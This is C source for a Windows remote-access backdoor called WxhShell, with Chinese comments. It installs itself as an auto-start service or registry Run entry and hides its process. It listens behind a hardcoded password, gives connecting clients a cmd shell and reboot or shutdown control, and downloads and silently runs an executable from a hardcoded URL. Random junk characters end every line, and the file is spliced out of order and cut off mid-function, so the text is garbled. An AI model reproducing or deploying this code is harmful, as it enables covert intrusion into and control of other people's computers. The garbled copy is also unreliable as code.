    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \nC5 ,Rz  
    else { |VTWw<{LX  
    closesocket(wsh); BO8%:/37[4  
    ExitThread(0); )\um "l*\c  
    } 9@( O\xr  
    break; DhY;pG,t  
    } BXT 80a\  
  // 关机 Pbc`LN /s|  
  case 'd': { #x, ]D  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); X QI.0L"  
    if(Boot(SHUTDOWN)) Qe7" Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); en Pzy:C  
    else { 'wCS6_K  
    closesocket(wsh); aw %>YrJ  
    ExitThread(0); uOyLC<I/  
    } <FXQxM5"  
    break; &W&7bZ$;  
    } } 9MW! Ss  
  // 获取shell |hu"5*  
  case 's': { # rh0r`  
    CmdShell(wsh); _ pY   
    closesocket(wsh); {KW&wsI  
    ExitThread(0); p6<E=5RRd1  
    break; *raIV]W3  
  } #cw! &  
  // 退出 Q{%HW4lg  
  case 'x': { lH6Cd/a  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1h#w"4  
    CloseIt(wsh); ~|X99?P  
    break; +}Qv6s#  
    } >g5T;NgH9  
  // 离开 $-C6pZN(X  
  case 'q': { ?9o#%?6k  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;y:#S^|?-z  
    closesocket(wsh); +W V@o'  
    WSACleanup(); NTv#{7q  
    exit(1); T+ &x{+gZ  
    break; e1f^:C  
        } '0\0SL  
  } rC=p;BC@dD  
  } UMHuIA:%U  
 @oe3i  
  // 提示信息 o'x_g^ Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #J%h!#3g  
} "wc`fg"3  
  } *X-~TC0 [  
UiGUaBmF*  
  return; "Qiq/"h  
} w]]x[D]L  
pl1EJ <  
// shell模块句柄 :Olj  
int CmdShell(SOCKET sock) |Fh`.iT%c  
{ hEdo,gF*  
STARTUPINFO si; Nlf&]^4(0  
ZeroMemory(&si,sizeof(si));  6Dr$*9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; MkluK=$  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ;X9MA=b  
PROCESS_INFORMATION ProcessInfo; S`'uUvAA  
char cmdline[]="cmd"; EmBfiuX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); :5q*46n  
  return 0; 2Wc;hJ.1  
} ~gzpX,{ n  
*YE IG#`  
// 自身启动模式 )}zA,FOA*  
int StartFromService(void)  onS{  
{ H'0J1\ h  
typedef struct H$($l<G9C  
{ .Q6{$Y%l  
  DWORD ExitStatus; H 29 _ /  
  DWORD PebBaseAddress; 1{uDHB  
  DWORD AffinityMask; E%v[7 ST  
  DWORD BasePriority; |SJ% _#=i  
  ULONG UniqueProcessId; =4%WOI  
  ULONG InheritedFromUniqueProcessId; s-YV_  
}   PROCESS_BASIC_INFORMATION; HN&vk/[  
xBx?>nN  
PROCNTQSIP NtQueryInformationProcess; |GLn 9vw7S  
Ml_:Q]kl^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =_~'G^`tu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; (^OC%pc  
 3kzGL  
  HANDLE             hProcess; E4fvYV_ra  
  PROCESS_BASIC_INFORMATION pbi; UVuuIW0k  
M`g Kt (3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); w}KcLaI  
  if(NULL == hInst ) return 0; ki/Lf4  
p`V9+CA  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fJ+E46|4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); nd9-3W  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X]qp~:4G  
t"@|;uPAu  
  if (!NtQueryInformationProcess) return 0; %L,,  
9~ .BH;ku  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Mh@ylp+q  
  if(!hProcess) return 0; Y&Nv>o_}5  
PYRwcJ$b\d  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ynz5Dy.d;  
BqJrL/(  
  CloseHandle(hProcess); vf'jz`Z  
{>qrf:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); J'&? =|  
if(hProcess==NULL) return 0; D2mAyU -  
78}%{7YY  
HMODULE hMod; |@4h z9~3  
char procName[255]; GTX&:5H\t  
unsigned long cbNeeded; I,q~*d  
X!'Xx8  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); p{_ O*bo  
S%%qn  
  CloseHandle(hProcess); { l~T~3/i  
-^%"w  
if(strstr(procName,"services")) return 1; // 以服务启动 J-,X0v"  
"e?#c<p7  
  return 0; // 注册表启动 .oOt(K +  
} yOm6HA``hT  
60gn`s,,  
// 主模块 aQ3vG08L>  
int StartWxhshell(LPSTR lpCmdLine) "alO"x8t  
{ J~ rC  
  SOCKET wsl; NQ{Z   
BOOL val=TRUE; 6#-; ,2i  
  int port=0;  o?x|y   
  struct sockaddr_in door; 81 Not  
gM:oP.  
  if(wscfg.ws_autoins) Install(); p_ y*-,W (  
B3=/iOb#  
port=atoi(lpCmdLine); $B N+SD!  
w'j]Y%  
if(port<=0) port=wscfg.ws_port; ?~9X:~6\  
n_ gB#L$  
  WSADATA data; .}opmI  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ]nGA1S{  
zm.sX~j  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   xL#oP0d<e  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); "K=)J'/n  
  door.sin_family = AF_INET; nmAXU!t'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 6:X\vw  
  door.sin_port = htons(port); BuO J0$  
e 2&i  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N>iCb:_ T;  
closesocket(wsl); >}tG^)os  
return 1; p 5w g+K  
} e/%Y ruzS  
'\qr=0aW  
  if(listen(wsl,2) == INVALID_SOCKET) { l$@lk?dc  
closesocket(wsl); Y)5}bmL  
return 1; 6!m#_z8qG3  
} cM Kh+r  
  Wxhshell(wsl); mjc:0hH  
  WSACleanup(); +#9 (T  
Unk+@$E&  
return 0; i oQlC4Y  
qa#F}aGd  
} At:C4>HE@  
2?&ptN) `N  
// 以NT服务方式启动 %8}w!2D S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) =i<(hgD  
{ gW%(_H mX  
DWORD   status = 0; ywBo9|%T  
  DWORD   specificError = 0xfffffff; ,\"gN5[$(  
g DIB'Y  
  serviceStatus.dwServiceType     = SERVICE_WIN32; n\,W:G9AR7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; WVFy ZpB  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]>j_ Y ,  
  serviceStatus.dwWin32ExitCode     = 0; yIP IA%dJ  
  serviceStatus.dwServiceSpecificExitCode = 0; YkbLf#2AE|  
  serviceStatus.dwCheckPoint       = 0; $80/ub:R  
  serviceStatus.dwWaitHint       = 0; bBL"F!.  
xEqrs6sR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ".=EAXVU  
  if (hServiceStatusHandle==0) return; )HcC\[  
rZ7 Ihof  
status = GetLastError(); OW^7aw(N6  
  if (status!=NO_ERROR) T!r7RS  
{ ^\;5O(9  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; c7 -j  
    serviceStatus.dwCheckPoint       = 0; ggWfk  
    serviceStatus.dwWaitHint       = 0; l"Q8`  
    serviceStatus.dwWin32ExitCode     = status; cgAcAcmY  
    serviceStatus.dwServiceSpecificExitCode = specificError; (6b%;2k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); fx5vaM!  
    return; 6OUj c  
  } $cedO']  
6cvm\ opH  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; :7zI!edu  
  serviceStatus.dwCheckPoint       = 0; L|Iq#QX|  
  serviceStatus.dwWaitHint       = 0; YFY)Z7fK  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ^TGHWCK!t  
} Dc2eY.  
TUt)]"h<  
// 处理NT服务事件,比如:启动、停止 jrR~V* :k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) A |B](MW%O  
{ ZVL0S{V-mh  
switch(fdwControl) gf@Dy6<  
{ .[! ^ L  
case SERVICE_CONTROL_STOP: <Lt$qV-#  
  serviceStatus.dwWin32ExitCode = 0; 82<!b]^1  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5s9~rm  
  serviceStatus.dwCheckPoint   = 0; bB["Qd}Q  
  serviceStatus.dwWaitHint     = 0; mdd~B2"el  
  { Yv)/DsSyL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q2o:wXvj  
  } p%_TbH3j`  
  return; Fk\xq`3'c  
case SERVICE_CONTROL_PAUSE: s.U p<Rw  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; P'+*d#*S  
  break; V& m\  
case SERVICE_CONTROL_CONTINUE: 6{6tg>|L)  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l)Hu.1~  
  break; Wil +"[Ge  
case SERVICE_CONTROL_INTERROGATE: G[mYx[BTz  
  break; BeRn9[  
}; 1,E/So   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); NZ#z{JI =+  
} a)e2WgVB/E  
|N*>K a;  
// 标准应用程序主函数 B4?P"|  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) C^a~)r.h  
{ bF.Aj8ZQ  
'"&?u8u)  
// 获取操作系统版本 AG?oA328  
OsIsNt=GetOsVer(); [": x  
GetModuleFileName(NULL,ExeFile,MAX_PATH); )`)cB)s  
.*Z]0~ &|  
  // 从命令行安装 t9kgACo/M  
  if(strpbrk(lpCmdLine,"iI")) Install(); *\/UT  
u=4Rn  
  // 下载执行文件 mxIEg?r(  
if(wscfg.ws_downexe) { c09uCito  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 1~+w7Ar =(  
  WinExec(wscfg.ws_filenam,SW_HIDE); j<c_*^/'9  
} > ,[(icyzn  
5o,82 Kti  
if(!OsIsNt) { 8ViDh  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,T]okN5uI  
HideProc(); V\ |b#?KL  
StartWxhshell(lpCmdLine); [W2k#-%G  
} |Bjb  
else vXc<#X9  
  if(StartFromService()) 8WAg{lVs  
  // 以服务方式启动 )XD_Yq@E  
  StartServiceCtrlDispatcher(DispatchTable); *StJ5c_kg2  
else .e6:/x~p*  
  // 普通方式启动 8?PNyO-Wt5  
  StartWxhshell(lpCmdLine); *+ b[v7  
,QK>e;:Be  
return 0; @A:Xct  
} qZ4DO*%b3  
[P^ .=F  
P63f0 F-G  
H]SnM'Y  
=========================================== yPL@uCzA@  
=KX:&GU  
]1klfp,`  
mF "ctxE  
u|+O%s TQ  
zgLm~  
" /Qbt  
o0AREZ+I  
#include <stdio.h> <h(tW  
#include <string.h> =x=#Etj|  
#include <windows.h> z7NaW e  
#include <winsock2.h> !bQ5CB  
#include <winsvc.h> [~x Q l  
#include <urlmon.h> 8}4V$b`Z  
9'}m797I'  
#pragma comment (lib, "Ws2_32.lib") (}'0K?  
#pragma comment (lib, "urlmon.lib") xK /NzVt  
'y@0P5[se  
#define MAX_USER   100 // 最大客户端连接数 lrK5q  
#define BUF_SOCK   200 // sock buffer m,'u_yK  
#define KEY_BUFF   255 // 输入 buffer H Jwj,SL  
[$B  
#define REBOOT     0   // 重启 OD{Rh(Id  
#define SHUTDOWN   1   // 关机 gV A$P  
9"&HxyOfX  
#define DEF_PORT   5000 // 监听端口 ]GRPxh  
]@Q14   
#define REG_LEN     16   // 注册表键长度 68d(6?OgW  
#define SVC_LEN     80   // NT服务名长度 TTS }, `  
XBCz\f  
// 从dll定义API D/rKqPp|!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k}~|jLu@g  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); dKhDO`.s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Wo\NX05-?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rT <=`9^{  
"J$vt`  
// wxhshell配置信息 ^,@Rd\q  
struct WSCFG { s<tdn[d  
  int ws_port;         // 监听端口 dYW19$W n  
  char ws_passstr[REG_LEN]; // 口令 /&a[D 2  
  int ws_autoins;       // 安装标记, 1=yes 0=no [/6IEt3}B  
  char ws_regname[REG_LEN]; // 注册表键名 >$k_tC'"  
  char ws_svcname[REG_LEN]; // 服务名 S'lZ'H/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Busxg?=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 PO1sVP.S  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 &?v^xAr?B  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MX]<tR`  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^|(F|Z  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o=7 -&F.  
g#W)EXUR  
}; ',v -&1R  
O$<kWSC  
// default Wxhshell configuration )lE]DG!  
struct WSCFG wscfg={DEF_PORT, vA*!82  
    "xuhuanlingzhe", *q\Ve)E}  
    1, &dH/V-te  
    "Wxhshell", b~z1%?  
    "Wxhshell", kO+Y5z6=  
            "WxhShell Service", 9Y3_.qa(.  
    "Wrsky Windows CmdShell Service", MZv In ZS  
    "Please Input Your Password: ", Y7{IF X  
  1, ez@`&cJ7  
  "http://www.wrsky.com/wxhshell.exe",  km|;T!  
  "Wxhshell.exe" bODCC5yL  
    }; n>" 0y^v  
=]K;"  
// 消息定义模块 _Y?p =;  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; An{`'U(l  
char *msg_ws_prompt="\n\r? for help\n\r#>"; F2saGpGH  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; gG!L#J?  
char *msg_ws_ext="\n\rExit."; IVjH.BzH9  
char *msg_ws_end="\n\rQuit."; S-NKT(H)c  
char *msg_ws_boot="\n\rReboot..."; |@`F !bnLr  
char *msg_ws_poff="\n\rShutdown..."; HZX(kYV  
char *msg_ws_down="\n\rSave to "; 9nN$%(EO5;  
-W38#_y/\  
char *msg_ws_err="\n\rErr!"; wM9HZraB<  
char *msg_ws_ok="\n\rOK!"; *<c, x8\s9  
1RgtZp%  
char ExeFile[MAX_PATH]; G>& Tap>  
int nUser = 0; G:7HL5u  
HANDLE handles[MAX_USER]; q$L=G  
int OsIsNt; _bRd2k,  
Up*1j:_O  
SERVICE_STATUS       serviceStatus; [#hpWNez(>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V3r1|{Z(  
O9?t,1  
// 函数声明 jM]B\cvN  
int Install(void); +GqK$B(x7  
int Uninstall(void); C-O~Oil  
int DownloadFile(char *sURL, SOCKET wsh); ?y_W%og W  
int Boot(int flag); lQ(I/[qVd  
void HideProc(void); &\),V1"  
int GetOsVer(void); 50kjX}  
int Wxhshell(SOCKET wsl); R-QSv$  
void TalkWithClient(void *cs); *'[8FZ|dQ  
int CmdShell(SOCKET sock); cetHpU ,  
int StartFromService(void); w*#B_6bG  
int StartWxhshell(LPSTR lpCmdLine); 14>WpNN  
Ck.LsL-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); w{TZN{Y  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); }.*"ezaZw  
mW EaUi)Zz  
// 数据结构和表定义 b* (~8JxZ  
SERVICE_TABLE_ENTRY DispatchTable[] = J,q6  
{ M:TN^ rA|  
{wscfg.ws_svcname, NTServiceMain}, jEU`ko_  
{NULL, NULL} fz>3  
}; 3<F\ 5|  
tV.qdy/]}  
// 自我安装 8k[=$Ro  
int Install(void) 'C[{cr.`  
{ GO&~)Vh&7  
  char svExeFile[MAX_PATH]; 3QSA|  
  HKEY key; ={g.Fn(_  
  strcpy(svExeFile,ExeFile); l$_q#Kd  
*~Y$8!ad  
// 如果是win9x系统,修改注册表设为自启动 Lsu_ f'p0  
if(!OsIsNt) { : ;l9to  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { fGdT2}gd  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); lB)%s~P:s  
  RegCloseKey(key); SfTTB'9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9f=L'{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |; [XZ ZZ  
  RegCloseKey(key); !m {d6C[  
  return 0; [d d KC)tA  
    } 2eC`^  
  } 7=3'PfS  
} v 79k{<Ln  
else { WNnB s  
@"h @4q/W  
// 如果是NT以上系统,安装为系统服务 7=hISQMsVP  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); h/goV  
if (schSCManager!=0) |7# S0Ca@  
{ 1ze\ U>  
  SC_HANDLE schService = CreateService *DDqa?gQb  
  ( #jqcUno  
  schSCManager, H@uDP  
  wscfg.ws_svcname, 90Sp(  
  wscfg.ws_svcdisp, GbB :K2  
  SERVICE_ALL_ACCESS, [,a2A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ht,+KbB  
  SERVICE_AUTO_START, X~2L  
  SERVICE_ERROR_NORMAL, OF1fS\P<>  
  svExeFile, eAl;:0=%L  
  NULL, <rn26Gfr  
  NULL, 3;%dn \ D  
  NULL, ^yFtL(x,  
  NULL, ^'G,sZ6'Nh  
  NULL }K.2  
  ); }7HR<%< 7  
  if (schService!=0) u*6Y>_iA  
  { +1pY^#A  
  CloseServiceHandle(schService); dd-`/A@  
  CloseServiceHandle(schSCManager); Ri<'apl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); NsN =0ff  
  strcat(svExeFile,wscfg.ws_svcname); WV&grG|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ;RzbPlkl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Dt~ |)L+  
  RegCloseKey(key); @%b&(x^UD  
  return 0; i_{b *o_an  
    } kSUpEV+/  
  } _ `~\zzUZ  
  CloseServiceHandle(schSCManager); _I/uW|>  
} (x!Tb2mlk  
} CzfGb4  
!mIr_d2"  
return 1; 7 (kC|q\4M  
} }UzRFIcv  
231,v,X[  
// 自我卸载 WlHK  
int Uninstall(void) IBm"VCg{Ew  
{ a+=.(g  
  HKEY key; 6F:< c  
^W%#Elf)  
if(!OsIsNt) { $'%.w|MJp  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kNk$[Yfs  
  RegDeleteValue(key,wscfg.ws_regname); tDQuimYu7  
  RegCloseKey(key); vAcxca">S  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { VdOcKP.  
  RegDeleteValue(key,wscfg.ws_regname); FMEW['  
  RegCloseKey(key); U#6<80Ke  
  return 0; [Ol~}@gV  
  } &rfl(&\oUi  
} N 9cCfB\`  
} <! Z06  
else { B&rw R/d  
jxqKPMf>@%  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); \(`8ng]vs  
if (schSCManager!=0) yllEg9L0z  
{ @/W~lJ!e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6%a:^f]  
  if (schService!=0) D^ )?*(  
  { gGE&}EoLU  
  if(DeleteService(schService)!=0) { gT{WH67u  
  CloseServiceHandle(schService); 5j~1%~,#  
  CloseServiceHandle(schSCManager); \'CA:9V}  
  return 0; H;c3 x"  
  } H&So Vi_V  
  CloseServiceHandle(schService); v}sk %f  
  } ;Q>+#5H6F8  
  CloseServiceHandle(schSCManager); y8j6ttQv=t  
} N;S1s0FN  
} s8.SEk|pB  
N4)ZPLV  
return 1; R3|r` ~@@  
} O9ar|8y  
UvF5u(o  
// 从指定url下载文件 #HTq \J!  
int DownloadFile(char *sURL, SOCKET wsh) Q.,2G7[ <  
{ x@3" SiC  
  HRESULT hr; 26ae|2?  
char seps[]= "/"; z\`tn z7>$  
char *token; F R(k==pZ  
char *file; } 89-U  
char myURL[MAX_PATH]; B!1h"K5.($  
char myFILE[MAX_PATH]; &embAqW:  
G^V a$ike  
strcpy(myURL,sURL); ]$i@^3`[w  
  token=strtok(myURL,seps); 8Dkq+H93  
  while(token!=NULL) [`kk<$=,&  
  { xF6byTi  
    file=token; /B<QYvv  
  token=strtok(NULL,seps); C}qHvwFm  
  } rXR!jZ.hi  
G8&/I c  
GetCurrentDirectory(MAX_PATH,myFILE); Z&of-[)  
strcat(myFILE, "\\"); I-^C6~  
strcat(myFILE, file); a"&cm'\lL  
  send(wsh,myFILE,strlen(myFILE),0); %-woaj   
send(wsh,"...",3,0); e2yCWolmTS  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); "7Z-ACyF5  
  if(hr==S_OK) :$*@S=8O  
return 0; c2gi 3  
else zGNmc7  
return 1; G#fF("Ndu`  
WbwwI)1  
} ;I?x; lH  
nS](d2  
// 系统电源模块 L1Jn@  
int Boot(int flag) ]$=#:uf  
{ V8#NXU g<!  
  HANDLE hToken; c\;_ jg  
  TOKEN_PRIVILEGES tkp; _2Mpzv  
c:[ ZknnCe  
  if(OsIsNt) { h5(OjlMC  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]!j%Ad  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); KP&xk1 3)  
    tkp.PrivilegeCount = 1; m%=*3gH]&  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [{`2FR:Cd  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); l 0U23i  
if(flag==REBOOT) { ,q;?zcC7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) VVDW=G  
  return 0; *E]:VZl  
} !ewT#afyu(  
else { _M+7)[xj=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }|%1LL^pB  
  return 0; ,OERDWW|6  
} Mi;Pv*  
  } u-_1)'  
  else { OJd/#KFm  
if(flag==REBOOT) { Mo5b @ [  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l6 L?jiTl_  
  return 0; oKCv$>Y  
} QYi4A "$`  
else { w {"1V7|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -QwH|   
  return 0; R1*4  
} 050,S`%<g8  
} ]x{.qTtw  
}8PO m#  
return 1; ^,,}2dsb>  
} Vn_~ |-Wt  
.T)wG;+  
// win9x进程隐藏模块 GGf<9!:  
void HideProc(void) aHVzBcCPh  
{ 6]4#8tR1_  
u88wSe<\X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aZ+><1TD  
  if ( hKernel != NULL ) G[`1Yw$  
  { :PtZKt;~X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 6i2%EC9  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .r2*tB).  
    FreeLibrary(hKernel); |Fi5/$S.  
  } (0B?OkQ  
yIrJaS-  
return; xDGS`o_w_  
} o<G#%9j  
N0.|Mb"?t  
// 获取操作系统版本 B\v+C!/f |  
int GetOsVer(void) !?(7g2NP)  
{ :aK?DtZ  
  OSVERSIONINFO winfo; OQ7 `n<I<)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Ml7 (<J  
  GetVersionEx(&winfo); :n QlS  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LP=j/qf|  
  return 1; jx]P:]  
  else Y}1c>5{bE  
  return 0; @phVfP"M  
} ]S%(l,  
3iIy_nWC  
// 客户端句柄模块 nuXL{tg6  
int Wxhshell(SOCKET wsl) |Ha#2pt{bc  
{ o`,~#P|  
  SOCKET wsh; MDU#V  
  struct sockaddr_in client; B*,)@h  
  DWORD myID; Q-n8~Ey1a  
K5jt(7i  
  while(nUser<MAX_USER) EU%,tp   
{ ,-4NSli  
  int nSize=sizeof(client); <;6{R#Tuh  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >%k6k1CZ  
  if(wsh==INVALID_SOCKET) return 1; p 1'l D  
]x r0]  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); RZzHlZ  
if(handles[nUser]==0) {aUnOyX_  
  closesocket(wsh); n4/Wd?#`  
else G{3 |d/;Bt  
  nUser++; kFv*>>X`  
  } <qwf"Ey  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T&?g)  
IT1YF.i  
  return 0; lPZ(c%P  
} c3^!S0U  
x#J9GP.  
// 关闭 socket ]>t~Bcn m  
void CloseIt(SOCKET wsh) WVdV:vJ-  
{ "XR=P> xk  
closesocket(wsh); "`$,qvNN  
nUser--; RpQeQM=  
ExitThread(0); .eR1\IAm  
} m&:&z7^p  
)*~A|[  
// 客户端请求句柄 *M1GVhW(+  
void TalkWithClient(void *cs) m2c'r3UEu  
{ ~5f&<,p!  
*an Ng<@  
  SOCKET wsh=(SOCKET)cs; i6WH^IQM  
  char pwd[SVC_LEN]; /MGapmqV9  
  char cmd[KEY_BUFF]; wq$$. .E  
char chr[1]; EtKq.<SJ  
int i,j; n#lbfN 4  
a!9'yc  
  while (nUser < MAX_USER) { Q":_\inF  
BNfj0e5b  
if(wscfg.ws_passstr) { #\0m(v  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3iCe5VF  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); H9mNnZ_k  
  //ZeroMemory(pwd,KEY_BUFF); ^dI;B27E*  
      i=0; YThVG0I =  
  while(i<SVC_LEN) { 'J,UKK\5  
oY)eN?c  
  // 设置超时 ~#r>@C  
  fd_set FdRead; A2|Bbqd  
  struct timeval TimeOut; 79T_9}M  
  FD_ZERO(&FdRead); ~}.C*;J  
  FD_SET(wsh,&FdRead); &C9IR,&  
  TimeOut.tv_sec=8; B\J[O5},  
  TimeOut.tv_usec=0; 6g| ,]{  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); sL$sj|"S  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); hX.cdt_?  
1bFZyD"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); kL'4m  
  pwd=chr[0]; $*C }iJsF  
  if(chr[0]==0xd || chr[0]==0xa) { C4mkt2Eb0a  
  pwd=0; T3wTMbZ!VK  
  break; )Te\6qM  
  } MhMiSsZ  
  i++; [vi =^  
    } D!`[fjs6A  
y\FQt];z)  
  // 如果是非法用户,关闭 socket Wg|6{'a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); T|~5dZL  
} K *@?BE  
S5).\1m h[  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); n!4}Hwz!  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !VD$uT  
$DDO9  
while(1) { ~VsN\!G  
7P$*qj~Vh  
  ZeroMemory(cmd,KEY_BUFF); vPnS`&  
&lzY"Y*hA0  
      // 自动支持客户端 telnet标准   O60T.MM`  
  j=0; MT{1/A;`)  
  while(j<KEY_BUFF) { h4n~V:nNm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C6e5*S  
  cmd[j]=chr[0]; L1kn="5  
  if(chr[0]==0xa || chr[0]==0xd) { `{#""I^_  
  cmd[j]=0; WL+EpNKSf  
  break; Hcf"u&%  
  } G? SPz  
  j++; 4-bM90&1t  
    } jZ~girA  
[vr"FLM|9  
  // 下载文件 C^$E#|E9N  
  if(strstr(cmd,"http://")) { 27Gff(  
